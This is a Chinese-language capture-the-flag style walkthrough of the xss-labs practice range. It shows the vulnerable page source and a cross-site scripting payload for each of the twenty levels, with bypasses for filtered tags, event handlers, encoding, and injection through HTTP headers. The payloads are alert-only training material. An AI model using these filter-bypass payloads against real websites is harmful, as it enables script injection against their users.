xss-labs
xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs
level 1
payload:
1
| http://xss/level1.php?name=<Script>alert(1)</Script>
|
level 2
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/> </form> </center><center><img src=level2.png></center> <h3 align=center>payload的长度:25</h3></body> </html>
|
这里变量出现在两处,我们直接利用第二处,做构造以及闭合
payload:
1
| 1"><ScRipt>alert(1)</ScRipt>
|
level 3
- 看一下网页源代码和php代码,使用了htmlspecialchars方法
- htmlspecialchars的解释 https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp 就是HTML为了防止特殊符号,如 “<”等,html当成标签
- 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~),这里我用的是click,直接点击一下就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <h2 align=center>没有找到和'onfocus=javascript:alert('xss') > /相关的结果.</h2><center> <form action=level3.php method=GET>
<input name=keyword value=''onfocus=javascript:alert('xss') > /'>
<input type=submit name=submit value=搜索 /> </form> </center><center><img src=level3.png></center> <h3 align=center>payload的长度:36</h3></body> </html>
|
payload:
1
| ' onclick ='javascript:alert(1)'//
|
- 再次点击搜索框
level 4
- 同第三关(把单引号换成双引号)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 /> </form> </center><center><img src=level4.png></center> <h3 align=center>payload的长度:21</h3></body> </html>
|
payload:
1
| " onclick ='javascript:alert(1)'//
|
- 再次点击搜索框
level 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level5.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
<input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:26</h3></body> </html>
|
- script过滤了,onclick也过滤了
payload:
1
| "></input><a href='javascript:alert(1)'>aaa</a>//
|
构造a标签
点击aaa
level 6
同第二关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level6.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
<input type=submit name=submit value=搜索 /> </form> </center><center><img src=level6.png></center> <h3 align=center>payload的长度:26</h3></body> </html>
|
payload:
1
| 1"><ScRipt>alert(1)</ScRipt>
|
level 7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level7.php method=GET>
<input name=keyword value="<>alert(1)</>">
<input type=submit name=submit value=搜索 /> </form> </center><center><img src=level7.png></center> <h3 align=center>payload的长度:13</h3></body> </html>
|
1
| 1"><ScscriptRipt>alert(1)</ScscriptRipt>
|
- 删去了script,将script变成scrscriptipt
level 8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <center> <form action=level8.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 /> </form>
</center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:27</h3></body> </html>
|
上边过滤了<>
特殊符号,下边在script中间加了个下划线
但是注意看下边代码再href
里,这里只是想把href的内容变成javascript:alert(1)
,而不涉及标签的修改,所以直接编码绕过
在线Unicode编码转换工具 http://www.jsons.cn/unicode
payload:
1
| javascript:alert(1)
|
level 9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level10.php?keyword=well done!"; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <center> <form action=level9.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 /> </form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:27</h3></body> </html>
|
1
| javascript:alert(1);http://www.baidu.com 这样不行,javascript:alert(1);要编码
|
payload:
1
| javascript:alert(1);//http://www.baidu.com
|
- 点击友情链接
level 10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <h2 align=center>没有找到和well done!相关的结果.</h2><center> <form id=search>
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden">
</form> </center><center><img src=level10.png></center> <h3 align=center>payload的长度:10</h3></body> </html>
|
- 这里有三个
<input>
标签的话,也就意味着是三个参数,看看哪一个标签能够被突破
- 构造语句:把链接的keyword的值替换
1
| ?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
|
- 从页面响应来看,有一个
<input>
标签的状态可以被改变。这个标签就是名为t_sort
的<input>
标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。
payload:
1
| ?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
|
level 11
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search>
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ref" value="' or updatexml(1,concat(0x7e,(database())),1) and '1'='1" type="hidden">
</form> </center><center><img src=level11.png></center> <h3 align=center>payload的长度:9</h3></body> </html>
|
<input>
这次有四个标签
- 发现还是t_sort不过双引号和尖括号被过滤,这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
- BP进行抓包可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上
payload:
1
| referer:"type="text" onclick="alert('xss')
|
- 点击出现的窗口
level 12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level13.php?keyword=good job!"; } </script> <title>欢迎来到level12</title> </head> <body> <h1 align=center>欢迎来到level12</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search>
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">
</form> </center><center><img src=level12.png></center> <h3 align=center>payload的长度:9</h3></body> </html>
|
- 看到了t_ua这样一个标签,并且其中的value属性的值看起来像抓取数据包中User-Agent头的值
payload:
1
| "type="text" onclick="alert('xss')
|
- 在
User-Agent
的最后面加上payloadlevel 13
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search>
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_cook" value="" type="hidden">
</form> </center><center><img src=level13.png></center> <h3 align=center>payload的长度:9</h3></body> </html>
|
- 源码中的t_cook标签中出现了。
- 尝试在cookie的值中进行构造语句
payload:
1
| "type="text" onclick="alert('xss')
|
- 在
cookie
的最后面加上payloadlevel 14
这题好像有问题
level 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <html ng-app> <head> <meta charset="utf-8"> <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
|
1 2 3 4 5
| <span>标签的class属性值中,但是前面还有ng-include这样的字符。 ng-include 是 angular js 中的东西,其作用相当于php的include函数。这里就 是将1.gif这个文件给包含进来。
尖括号被屏蔽
|
1 2 3 4 5 6 7 8 9 10
| 1、ng-include 指令用于包含外部的 HTML文件。 2、包含的内容将作为指定元素的子节点。 3、ng-include 属性的值可以是一个表达式,返回一个文件名。 4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下: 1.ng-include,如果单纯指定地址,必须要加引号 2.ng-include,加载外部html,script标签中的内容不执行 3.ng-include,加载外部html中含有style标签样式可以识别
|
1 2 3 4
| 因为这里参数值算是一个地址,所以需要添加引号。但是level1.php不是一个php文件吗?
这里解释一下 这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。
|
- src地址无法访问,先将其换成国内可以访问的地址:
1
| https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
|
payload:
1
| ?src='level1.php?name=<img src=1 onerror=alert(1)>'
|
level 16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <center>test</center><center><img src=level16.png></center> <h3 align=center>payload的长度:4</h3></body> </html>
|
- 关键字
script
以及/
和空格
都被编码成同样的空格字符实体了。
- 尝试加个a标签,空格用回车编码代替,点击图片过关
payload:
1
| <a%0D%0Aonclick='alert(1)'>
|
level 17
这一关中间是一个flash 插件,没法正常显示出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>
|
embed src=url
说明:embed可以用来插入各种媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等,
payload:
1
| arg01=a&arg02= onmouseover=alert(1)
|
level 18
- 这一关和上一关一样的,只是把flash 换成了图片而已,构造的语句都一样
payload:
1
| arg01=a&arg02= onmouseover=alert(1)
|
level 19
主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索
别人的payload:
1
| version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
|
level 20
主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索
别人的payload:
1
| arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
|